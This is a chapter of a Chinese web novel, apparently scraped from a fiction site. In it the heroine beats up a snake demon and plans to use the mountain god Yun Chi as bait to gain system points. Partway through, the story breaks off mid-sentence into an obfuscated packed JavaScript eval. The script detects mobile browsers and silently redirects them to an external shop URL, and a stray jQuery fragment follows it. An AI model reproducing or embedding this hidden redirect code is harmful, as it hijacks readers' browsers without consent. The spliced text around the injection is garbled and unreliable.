文趣网 > 都市小说 > 阎王使与废材神 > 13. 教训蓝笙
    别说云螭,就连蓝笙也不知道墓碑是什么东西。

    在妖怪的世界里,死了就是死了,尸体要么简单找个地方草草掩埋,要么就直接抛尸荒野任由其腐烂消亡,从来不存在什么正式的安葬仪式或纪念物。

    因此,当寒妄狐突然严肃地指出这里是什么安息之地,蓝笙听得一头雾水,完全无法理解这个概念。

    “你在说什么?”蓝笙不解地往四周看看,试图感知却一无所获,“我并未感受到有妖物丧命的气息啊。”

    “...”寒妄狐对他的迟钝感到一阵无语,停顿了片刻,才用疲惫的语气吐出两个字:“是人。”

    “哪里?”

    “你脚下。”

    闻言,蓝笙浑身的毛仿佛都炸了起来。

    虽然蛇没有毛。

    他猛地一个激灵,像被火燎到似的跳起来,手忙脚乱地跃到身旁的云螭身上,像抓住救命稻草般死死抱紧,把脸埋在他背后。

    云螭被他这突如其来的剧烈动作吓了一大跳,身体一僵,随即尖叫着想把这个突然黏上来的家伙扯下来,“你给我下来!”

    他使劲掰着蓝笙环住他脖子的手臂,却发现对方箍得死紧,纹丝不动。

    “哪里有死人啊啊啊!”蓝笙的声音因为恐惧而变了调,带着颤抖,“云螭你别碰我!你离那地方远点!”

    云螭被他喊得心里也发毛,更加用力地想把他拽下去,气急败坏地吼道:“那你倒是自己下去啊!你抓着我有什么用!”

    “我不!我害怕!”蓝笙把云螭抓得更紧了,几乎要勒断他的呼吸,“等会她、她又要说些吓人的东西!我就在这待着!”

    寒妄狐就这样面无表情,或者说生无可恋,睁着她那双漂亮却毫无波澜的眼睛,静静看着两人像幼稚孩童般胡闹纠缠。

    吵闹声在寂静的周遭显得格外突兀,此刻,她心中萌生出一种极其强烈的冲动:想再要两发子弹,精准地送进他们俩的脑门里。

    “为什么和我说这些?”寒妄狐淡淡开口,听不出什么情绪,却让正在掰扯的两人同时停下了所有动作。

    蓝笙像触电般立刻从云螭身上跳下来,手足无措地站在一旁,试图摆出一副正经模样,用微不可闻的音量小声嘟囔道:“我怕你真的打死我...”

    其实寒妄狐的听力好得很,“那你刚刚还敢对我动手?”

    一提到这个话题,蓝笙突然就情绪激动起来,开始手舞足蹈地比划,声音也拔高了不少:“你要是早点来就好了!你是没看见!那几只狐假虎威的小妖,仗着是我舅舅派过来看着我的,结果一个个倒好,全都在变着法地使唤我!把我当当苦力!”

    他越说越气,脸颊都微微泛红,在一旁叽叽喳喳,控诉个没完没了。

    寒妄狐不再理会他,径自转身,沉默地走到那座孤零零的墓碑旁,背对着还在发泄情绪的蓝笙和一旁看戏的云螭,在他们视线无法触及的盲区里,从随身空间里取出一块干净柔软的布。

    然后,她弯下腰,极其细致地将墓碑的表面擦拭了一遍。

    她确实因为任务杀过不少人,但从来没有轻视过任何一条逝去的生命,对她而言,接取任务取人性命是身不由己的职业规则,给逝者留一份最后的体面,是刻在骨子里的底线。

    身后的吵闹不知什么时候已经停了。

    蓝笙骂得口干舌燥,原本还等着寒妄狐应和两句,结果半天没听见对方出声,不由也闭了嘴,和云螭一起探头探脑往那边看。

    “她干嘛呢?不就是块破石头吗?”蓝笙小声嘀咕,爪子不自觉挠了挠云螭的腰,被云螭反手一巴掌拍开。

    “娘子做什么都是对的。”

    “我又没说她做错。”

    “你有这个意思。”

    “你!”

    寒妄狐一记眼神杀过来,吓得蓝笙浑身一颤,赶紧闭紧嘴巴,随后就听她冷冷飘来一句,“你是要继续待在这,还是走?”

    “走!我马上就走!”

    蓝笙早已没了初见时那份心高气傲,毕竟寒妄狐武力值就摆在那,他心知肚明,自己若是再轻举妄动或出言不逊,可能真的会被她毫不留情地打死。

    更让他心底发毛的,是她手中把玩着的那件自己从未见过奇怪玩意。

    只是...

    他颤颤巍巍地往前挪了几步,步履蹒跚,寒妄狐见他动作,以为他又想搞什么小动作眼神瞬间凌厉,随即缓缓站起身来。

    结果蓝笙猛地伸出手臂,却不是攻击,而是直挺挺地停在半空,整个人站在原地不动,摆出一副英勇赴死的悲壮表情,紧紧闭上眼睛,用近乎豁出去的颤抖声音道:“你……能不能……把我打一顿?”

    寒妄狐:?

    云螭见状,心中警铃大作,赶忙三步并作两步冲上前,一把将呆立原地的蓝笙用力拽开,拉开他与寒妄狐之间的距离,又急又气地低喝道:“你干什么!”

    蓝笙被他这一拽,从那种自我牺牲般的情绪中惊醒过来,一下又恼了,气得跳脚,“怎么哪里都有你!关你什么事!”

    云螭挡在寒妄狐身前,瞪着他,语气里充满了不解,“你为何总想让娘子碰你?!安的是什么心!”

    蓝笙没好气地呵了一声,那笑声充满了荒谬感,一脸难以置信地回瞪他,质问道,“我就想让她打我怎么了?你管得着吗?”

    “打是亲骂是爱,娘子都不舍得打我,凭什么要打你?”

    “云螭你个大傻子!”

    “只有娘子能骂我!”

    见这两人一言不合又要像斗鸡一样吵个没完,聒噪的声音在耳边嗡嗡作响,寒妄狐彻底忍无可忍,积攒的烦躁达到了顶点。

    她面无表情地抬起手,干脆利落地往身旁云螭的后颈精准地来了一下。

    云螭还没反应过来发生了什么,只觉颈后一麻,眼前瞬间发黑,身体便软软地倒了下去,正好被寒妄狐伸出的手臂稳稳接在怀里。

    而一旁原本还在吵嚷的蓝笙,目睹这一切后,猛地咽下口水,喉咙滚动,眼中只剩下满满的惊惧和后怕,连大气都不敢再喘一口。

    寒妄狐低头看着怀里的云螭,眉梢轻轻动了动。

    她本来只是嫌这家伙吵得烦人,想让他先安静一会,下手力度其实已经收了三分,只是这家伙方才蹦跶得太厉害,一时没稳住就晕了过去。

    寒妄狐抱着他轻晃了两下,确认对方一时半会醒不过来,才侧过头,用冰冷的目光扫向缩在角落的蓝笙。

    “你是脑子烧坏了?”

    蓝笙咽了口唾沫,攥着衣角搓了半天,指尖都捏得发白,才磨磨蹭蹭地开口:“我,我要是完不成任务,舅舅肯定骂我……与其回去挨他那顿劈头盖脸的骂,还不如让你打一顿,好歹皮肉疼一阵就过去了,我也好回去交差……”

    寒妄狐:……

    她严重怀疑蓝笙是不是有什么特殊属性,或者脑子里哪根筋搭错了,宁愿挨一顿实实在在的毒打,也不愿面对几句冷言冷语的训斥,这到底是什么歪理?

    “你走了之后,这山头还会出问题吗?”

    蓝笙立刻乖巧地摇摇头,“寒毒必须由蛇族一刻不停地释放妖力来维持,就像点灯要一直添油一样,我只要一走,源头断了,这里就没——”

    话音未落,一记裹挟着风声的拳头猛地朝着他脸上砸来,速度快得只留下一道残影。

    不等蓝笙从这突如其来的袭击中反应,甚至没来得及抬手格挡,寒妄狐又顺势对着他屁股补了一脚,这一脚力道十足,踹得他重心全失。

    蓝笙被这骤然爆发的力气踹得直接向前扑倒,结结实实脸朝下磕在地面上,发出一声闷响。

    寒妄狐转了转手腕,活动指节,脸上那股“终于等到这一刻”的畅快神情藏都藏不住,她步步紧逼,每一步都像是踩在蓝笙紧绷的神经上:“既然如此,就别怪我不客气了……”

    她早就在心里盘算着要把蓝笙暴打一顿,这念头憋了不是一时半会了,顺便还能把对蓝焰那股无处发泄的火气,一起结结实实地撒在他这个倒霉外甥身上。

    紧接着,寂静的山头都开始回荡起蓝笙凄厉的尖叫,一声高过一声,听起来苦不堪言。

    而那个刚离开没多久又回来的小妖,恰好撞见这单方面碾压的暴力一幕,吓得魂飞魄散,哪里还敢再多看一眼,立刻转身连滚爬带地往回跑,急着去禀告蓝焰。

    等蓝笙离开之后,寒妄狐趁着云螭依旧昏迷不醒的空档,将两只小精灵叫出来。

    她抬手指了指脚下所站的这片相对开阔的崖边平台,出声询问:“你们看看,这位置够高吧?视野是否足够开阔?”

    农振动翅膀飞向高处,在空中盘旋了几圈,进行了一番细致的观察和监测。

    过了好一会,它才缓缓降落下来,停在寒妄狐面前,看着面板汇报道:“除去你们目前居住的地方,这个位置确实是整座梧桐山范围内,视野条件最好的了。不过……”它顿了顿,“你突然问这个,是打算要干什么?”

    寒妄狐闻言,并没有立刻回答。她微微垂下了眼眸,纤长的睫毛在眼下投出一小片阴影,似乎陷入了短暂的沉思。

    片刻后,她才抬起眼,将自己脑海中的构想缓缓道出:“我在想,既然系统拥有一些超越寻常的手段,那么,有没有可能在这处高点上,建造一个能够连通或者覆盖整座山体的……某种装置或者网络?”

    “这样一来,即便我身在屋里,也能实时观测到山中各处可能出现的异常动静?”

    此话一出,在场的两只小精灵都愣住了,它

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781210|210045||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    们互相对视了一眼,精巧的小脸上浮现出明显的迟疑与凝重,双双陷入了沉默。

    寒妄狐将它们的反应看在眼里,以为自己的设想过于天马行空,在技术或规则上行不通。

    她抿了抿唇,没有固执于原方案,而是迅速转换了思路,“或者农能不能用什么手段连接大范围的地脉。”

    “如果我能想办法说服山里的妖怪们帮忙,让他们在特定的位置种植树木,农再同时催生,是不是进度能快一些?”

    农扑扇着翅膀,将那颗小小的脑袋向一侧歪了歪,倒是正摆弄着几株植物的医医,闻声率先抬起了头:“关于连接地脉这件事,我们两个合作就能完成,技术上并不复杂。而且,我记得最近刚入库一批全新的高科技卫星通讯与监测系统,它的信号中继和地标定位功能,理论上完全可以用来辅助大范围的地脉节点标记与能量流导向。”

    寒妄狐正为这个构想真的能落地而感到一阵小小的惊喜,心中刚刚燃起的希望火苗还没来得及蹿高,就听见农有些无奈地说:“但那套设备要用的积分太高,现在连零头都没有。”

    听到农的话,寒妄狐不由得怔住了,随即陷入了短暂的沉默。

    目前获取积分的途径实在有限得可怜:除了照料小妖怪们能换来一些微薄点数,主要的大头来源,似乎就只有保护云螭时击败妖怪这一条路了。

    可迄今为止除了除了蛇族,似乎还没有上门找麻烦的。

    其实她一直想不明白,云螭到底是怎么落到这个地步的,作为一个山神,就算真的没用,山里这群依赖天地灵气的妖怪总不会都不懂事吧?

    她突然灵光一现,是开口询问身边的精灵们:“我记得……支线任务里是不是明确说过,只要保护云螭,就能获得非常大量的积分?”

    两只精灵闻言,都显得有些茫然,它们互相对视了一眼,还是医医先说话:“是的主人,您是有什么特别的主意了吗?”

    就在医医话音落下的瞬间,一直没什么表情波动的寒妄狐,脸上竟突然浮现出诡异和跃跃的笑容。

    “何止是有主意……我可太有了。”

    直到她将整个计划和盘托出,一旁的医医已经因为强忍着巨大的笑意而躲到了角落,肩膀不住地耸动,感觉再憋下去真的要憋出内伤了。

    农则完全僵在了原地,它先是难以置信地张大了嘴巴,整个小身体都定格了,随后,它猛地回过神来,爆发出了一声几乎要刺破空气的尖叫——

    “谁教你这样对待留守儿童的?!!”

    在农的理解和认知里,云螭跟留守儿童没有任何区别。

    寒妄狐对此毫不在意,姿态悠闲地躺到一旁的巨石上,双臂交叠枕在脑后,目光投向广袤的天空,漫不经心地说:“没你说的那么严重,我能保护好他。”

    “你保护个——!”

    农气急败坏,后面一连串的不文明用语被总系统自动识别并屏蔽成了消音,它气得浑身灵力光点乱闪,简直想找块石头一头撞死,可惜它本身并没有实体,什么也碰不到,只能原地无能狂怒。

    寒妄狐的核心计划,其实就是决定拿云螭当作一个“诱饵”,带着他去寻找曾经欺负过他的妖怪们。

    妖怪越多,击败他们能获得的积分自然也就越多。

    她最初的本意,只是为了更快更多地赚取积分。

    可就在刚刚,她脑海里却不自觉闪过初次见到云螭时的画面,一个念头悄然冒了出来:如果能借这个机会,替他狠狠出一口恶气,把那些欺负过他的家伙都教训一遍,那也算不辜负他一直挂在嘴边的“老婆”这个称呼了。

    更何况,如果能借着这件事帮他建立起一点自信,那就算以后有一天自己离开这个时空,他或许也能学会好好保护自己了吧?

    想到这里,寒妄狐猛地从巨石上坐起身,脸上掠过一丝愕然。

    她刚刚……都在想些什么?

    ……算了。

    她重新放松身体,轻轻呼出一口气。

    不过一个称呼而已,听都听习惯了,似乎……也没那么难以忍受了。

    大致商量结束后,寒妄狐干脆利落地从巨石上一跃而下,稳稳地落在地面上。

    她活动了一下有些发麻的腿脚,目光随即转向不远处倚靠着树干的云螭。

    短暂地顿了顿,她没有再犹豫,径直走上前去,弯下腰,调整了一个便于施力的姿势,一只手便穿过云螭的臂弯,将他整个人的重量稳稳地分担在自己的肩膀与臂膀之上。

    “瘦成这样。”寒妄狐自顾自嘟囔一句,便扛着他往山下走,甚至还有恶趣味的拍一下人家屁股,医医还在一旁偷笑,农倒是羞红着脸觉得没眼看。

    有病吧夫妻俩。

    他看那条蛇也半斤八两!